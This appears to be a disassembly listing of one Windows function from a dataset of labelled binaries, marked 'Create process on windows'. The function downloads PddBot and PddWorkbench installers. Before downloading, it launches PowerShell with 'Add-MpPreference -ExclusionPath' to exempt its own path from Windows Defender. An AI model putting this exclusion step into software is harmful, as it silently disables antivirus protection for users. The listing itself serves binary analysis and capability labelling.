Function at 0x440750
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x62694c
mov eax, dword fs:[0]
push eax
sub esp, 0x78
mov eax, dword [0x6d45e0]
xor eax, esp
mov dword [esp + 0x70], eax
push ebx
push esi
push edi
mov eax, dword [0x6d45e0]
xor eax, esp
push eax
lea eax, [esp + 0x88]
mov dword fs:[0], eax
mov edi, ecx
lea ecx, [edi + 4]
call fcn.00412a70
test eax, eax
je 0x440f79
call fcn.00405030
xor ecx, ecx
mov edx, eax
test edx, edx
setne cl
test ecx, ecx
jne 0x4407b8
push 0x80004005
call fcn.00404ef0
mov eax, dword [edx]
mov ecx, edx
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x64], eax
mov dword [esp + 0x90], 0
lea eax, [esp + 0x64]
push dword [edi + 4]
push str._c_Add_MpPreference__ExclusionPath__s
push eax
call fcn.00415160
mov esi, dword [esp + 0x70]
add esp, 0xc
push 0
push 0
push esi
push str.powershell.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x69ae94
lea edx, [edi + 4]
mov dword [esp + 0x64], 0
lea ecx, [esp + 0x64]
call fcn.00414be0
add esp, 4
lea eax, [esp + 0x60]
mov byte [esp + 0x90], 1
push eax
lea eax, [esp + 0x5c]
push eax
call fcn.00405a70
mov byte [esp + 0x90], 2
mov edx, dword [eax]
mov dword [esp + 0x7c], 0xf
mov dword [esp + 0x78], 0
mov byte [esp + 0x68], 0
cmp byte [edx], 0
jne 0x44085c
xor ecx, ecx
jmp 0x44086a
mov ecx, edx
lea ebx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440861
sub ecx, ebx
push ecx
push edx
lea ecx, [esp + 0x70]
call fcn.00404a10
mov byte [esp + 0x90], 4
or ebx, 0xffffffff
mov edx, dword [esp + 0x58]
mov eax, ebx
add edx, 0xfffffff0
lea ecx, [edx + 0xc]
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x44089d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp dword [esp + 0x7c], 0x10
lea eax, [esp + 0x68]
push 0x69cf70
cmovae eax, dword [esp + 0x6c]
push eax
call fcn.004c4a36
add esp, 8
test eax, eax
je 0x440b9a
push eax
call fcn.004c4de0
add esp, 4
lea ecx, [esp + 0x28]
push 0x69ae90
call fcn.004046e0
push str.download
lea ecx, [esp + 0x44]
mov byte [esp + 0x94], 0xe
call fcn.004046e0
push 0x69ae8c
lea ecx, [esp + 0x14]
mov byte [esp + 0x94], 0xf
call fcn.004046e0
lea eax, [esp + 0x28]
mov byte [esp + 0x90], 0x10
push eax
lea eax, [esp + 0x44]
mov ecx, 0x6f5fc4
push eax
lea eax, [esp + 0x18]
push eax
call fcn.00406d80
cmp dword [esp + 0x24], 0x10
jb 0x440938
push dword [esp + 0x10]
call fcn.004c41b0
add esp, 4
cmp dword [esp + 0x54], 0x10
mov dword [esp + 0x24], 0xf
mov dword [esp + 0x20], 0
mov byte [esp + 0x10], 0
jb 0x440960
push dword [esp + 0x40]
call fcn.004c41b0
add esp, 4
mov byte [esp + 0x90], 4
cmp dword [esp + 0x3c], 0x10
mov dword [esp + 0x54], 0xf
mov dword [esp + 0x50], 0
mov byte [esp + 0x40], 0
jb 0x440990
push dword [esp + 0x28]
call fcn.004c41b0
add esp, 4
push 0x698588
lea ecx, [esp + 0x2c]
call fcn.004046e0
lea eax, [esp + 0x28]
mov byte [esp + 0x90], 0x11
push eax
mov ecx, 0x6f5fc4
call fcn.00406a80
mov byte [esp + 0x90], 4
cmp dword [esp + 0x3c], 0x10
jb 0x4409d0
push dword [esp + 0x28]
call fcn.004c41b0
add esp, 4
cmp dword [edi + 0x30], 0
jne 0x440a17
push str.Find_new_pddbot_exist_without_pddworkbench
lea eax, [esp + 0x14]
mov dword [esp + 0x14], str.DownLoadFile.cpp
push 2
push eax
mov dword [esp + 0x20], str.CDownLoadFileTask::doTask
mov dword [esp + 0x24], str.C:UsersPublicPddBot.log
mov dword [esp + 0x28], 0x145
mov dword [esp + 0x2c], 7
call fcn.00415940
add esp, 0xc
jmp 0x440f0a
push str.Setup_PddWorkbench.exe
lea edx, [edi + 4]
mov dword [esp + 0x60], 0
lea ecx, [esp + 0x60]
call fcn.00414be0
add esp, 4
lea ecx, [edi + 0x20]
mov byte [esp + 0x90], 0x12
lea edx, [esp + 0x5c]
call fcn.0043fa30
test eax, eax
jne 0x440a87
push str.Download_new_pddworkbench_fail
lea eax, [esp + 0x14]
mov dword [esp + 0x14], str.DownLoadFile.cpp
push 2
push eax
mov dword [esp + 0x20], str.CDownLoadFileTask::doTask
mov dword [esp + 0x24], str.C:UsersPublicPddBot.log
mov dword [esp + 0x28], 0x14c
mov dword [esp + 0x2c], 7
call fcn.00415940
add esp, 0xc
push 0x69ae90
lea ecx, [esp + 0x2c]
call fcn.004046e0
push str.pddworkbenchdownload
lea ecx, [esp + 0x14]
mov byte [esp + 0x94], 0x13
call fcn.004046e0
push 0x69ae8c
lea ecx, [esp + 0x44]
mov byte [esp + 0x94], 0x14
call fcn.004046e0
lea eax, [esp + 0x28]
mov byte [esp + 0x90], 0x15
push eax
lea eax, [esp + 0x14]
mov ecx, 0x6f5fc4
push eax
lea eax, [esp + 0x48]
push eax
call fcn.00406d80
cmp dword [esp + 0x54], 0x10
jb 0x440af5
push dword [esp + 0x40]
call fcn.004c41b0
add esp, 4
cmp dword [esp + 0x24], 0x10
mov dword [esp + 0x54], 0xf
mov dword [esp + 0x50], 0
mov byte [esp + 0x40], 0
jb 0x440b1d
push dword [esp + 0x10]
call fcn.004c41b0
add esp, 4
mov byte [esp + 0x90], 0x12
cmp dword [esp + 0x3c], 0x10
mov dword [esp + 0x24], 0xf
mov dword [esp + 0x20], 0
mov byte [esp + 0x10], 0
jb 0x440b4d
push dword [esp + 0x28]
call fcn.004c41b0
add esp, 4
push 0x698588
lea ecx, [esp + 0x2c]
call fcn.004046e0
lea eax, [esp + 0x28]
mov byte [esp + 0x90], 0x16
push eax
mov ecx, 0x6f5fc4
call fcn.00406a80
mov byte [esp + 0x90], 0x12
cmp dword [esp + 0x3c], 0x10
jb 0x440b8d
push dword [esp + 0x28]
call fcn.004c41b0
add esp, 4
mov dword [esp + 0x1c], 0x14f
jmp 0x440eb1
lea ecx, [edi + 8]
lea edx, [esp + 0x60]
call fcn.0043fa30
test eax, eax
jne 0x440be6
push str.Download_new_pddbot_installfile_fail
lea eax, [esp + 0x14]
mov dword [esp + 0x14], str.DownLoadFile.cpp
push 2
push eax
mov dword [esp + 0x20], str.CDownLoadFileTask::doTask
mov dword [esp + 0x24], str.C:UsersPublicPddBot.log
mov dword [esp + 0x28], 0x12c
mov dword [esp + 0x2c], 7
call fcn.00415940
add esp, 0xc
push 0x69ae90
lea ecx, [esp + 0x2c]
call fcn.004046e0
push str.download
lea ecx, [esp + 0x14]
mov byte [esp + 0x94], 5
call fcn.004046e0
push 0x69ae8c
lea ecx, [esp + 0x44]
mov byte [esp + 0x94], 6
call fcn.004046e0
lea eax, [esp + 0x28]
mov byte [esp + 0x90], 7
push eax
lea eax, [esp + 0x14]
mov ecx, 0x6f5fc4
push eax
lea eax, [esp + 0x48]
push eax
call fcn.00406d80
cmp dword [esp + 0x54], 0x10
jb 0x440c54
push dword [esp + 0x40]
call fcn.004c41b0
add esp, 4
cmp dword [esp + 0x24], 0x10
mov dword [esp + 0x54], 0xf
mov dword [esp + 0x50], 0
mov byte [esp + 0x40], 0
jb 0x440c7c
push dword [esp + 0x10]
call fcn.004c41b0
add esp, 4
mov byte [esp + 0x90], 4
cmp dword [esp + 0x3c], 0x10
mov dword [esp + 0x24], 0xf
mov dword [esp + 0x20], 0
mov byte [esp + 0x10], 0
jb 0x440cac
push dword [esp + 0x28]
call fcn.004c41b0
add esp, 4
push 0x698588
lea ecx, [esp + 0x2c]
call fcn.004046e0
lea eax, [esp + 0x28]
mov byte [esp + 0x90], 8
push eax
mov ecx, 0x6f5fc4
call fcn.00406a80
mov byte [esp + 0x90], 4
cmp dword [esp + 0x3c], 0x10
jb 0x440cec
push dword [esp + 0x28]
call fcn.004c41b0
add esp, 4
cmp dword [edi + 0x30], 0
jne 0x440d33
push str.Download_new_pddbot_success_without_workbench
lea eax, [esp + 0x14]
mov dword [esp + 0x14], str.DownLoadFile.cpp
push 2
push eax
mov dword [esp + 0x20], str.CDownLoadFileTask::doTask
mov dword [esp + 0x24], str.C:UsersPublicPddBot.log
mov dword [esp + 0x28], 0x131
mov dword [esp + 0x2c], 7
call fcn.00415940
add esp, 0xc
jmp 0x440f0a
push str.Setup_PddWorkbench.exe
lea edx, [edi + 4]
mov dword [esp + 0x60], 0
lea ecx, [esp + 0x60]
call fcn.00414be0
add esp, 4
lea ecx, [edi + 0x20]
mov byte [esp + 0x90], 9
lea edx, [esp + 0x5c]
call fcn.0043fa30
test eax, eax
jne 0x440da3
push str.Download_new_pddworkbench_fail
lea eax, [esp + 0x14]
mov dword [esp + 0x14], str.DownLoadFile.cpp
push 2
push eax
mov dword [esp + 0x20], str.CDownLoadFileTask::doTask
mov dword [esp + 0x24], str.C:UsersPublicPddBot.log
mov dword [esp + 0x28], 0x138
mov dword [esp + 0x2c], 7
call fcn.00415940
add esp, 0xc
push 0x69ae90
lea ecx, [esp + 0x2c]
call fcn.004046e0
push str.pddworkbenchdownload
lea ecx, [esp + 0x14]
mov byte [esp + 0x94], 0xa
call fcn.004046e0
push 0x69ae8c
lea ecx, [esp + 0x44]
mov byte [esp + 0x94], 0xb
call fcn.004046e0
lea eax, [esp + 0x28]
mov byte [esp + 0x90], 0xc
push eax
lea eax, [esp + 0x14]
mov ecx, 0x6f5fc4
push eax
lea eax, [esp + 0x48]
push eax
call fcn.00406d80
cmp dword [esp + 0x54], 0x10
jb 0x440e11
push dword [esp + 0x40]
call fcn.004c41b0
add esp, 4
cmp dword [esp + 0x24], 0x10
mov dword [esp + 0x54], 0xf
mov dword [esp + 0x50], 0
mov byte [esp + 0x40], 0
jb 0x440e39
push dword [esp + 0x10]
call fcn.004c41b0
add esp, 4
mov byte [esp + 0x90], 9
cmp dword [esp + 0x3c], 0x10
mov dword [esp + 0x24], 0xf
mov dword [esp + 0x20], 0
mov byte [esp + 0x10], 0
jb 0x440e69
push dword [esp + 0x28]
call fcn.004c41b0
add esp, 4
push 0x698588
lea ecx, [esp + 0x2c]
call fcn.004046e0
lea eax, [esp + 0x28]
mov byte [esp + 0x90], 0xd
push eax
mov ecx, 0x6f5fc4
call fcn.00406a80
mov byte [esp + 0x90], 9
cmp dword [esp + 0x3c], 0x10
jb 0x440ea9
push dword [esp + 0x28]
call fcn.004c41b0
add esp, 4
mov dword [esp + 0x1c], 0x13b
push str.Download_new_pddbot_success_and_workbench
lea eax, [esp + 0x14]
mov dword [esp + 0x14], str.DownLoadFile.cpp
push 2
push eax
mov dword [esp + 0x20], str.CDownLoadFileTask::doTask
mov dword [esp + 0x24], str.C:UsersPublicPddBot.log
mov dword [esp + 0x2c], 7
call fcn.00415940
mov byte [esp + 0x9c], 4
mov ecx, ebx
mov edx, dword [esp + 0x68]
add esp, 0xc
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x440f0a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp dword [esp + 0x7c], 0x10
jb 0x440f1d
push dword [esp + 0x68]
call fcn.004c41b0
add esp, 4
mov byte [esp + 0x90], 0
mov ecx, ebx
mov edx, dword [esp + 0x60]
add edx, 0xfffffff0
mov dword [esp + 0x7c], 0xf
mov dword [esp + 0x78], 0
mov byte [esp + 0x68], 0
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x440f57
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
add esi, 0xfffffff0
mov dword [esp + 0x90], 0xffffffff
lea eax, [esi + 0xc]
lock xadd dword [eax], ebx
dec ebx
test ebx, ebx
jg 0x440f79
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
test edi, edi
je 0x440f86
mov eax, dword [edi]
mov ecx, edi
push 1
call dword [eax + 4]
mov ecx, dword [esp + 0x88]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x70]
xor ecx, esp
call fcn.004c392d
mov esp, ebp
pop ebp
ret 4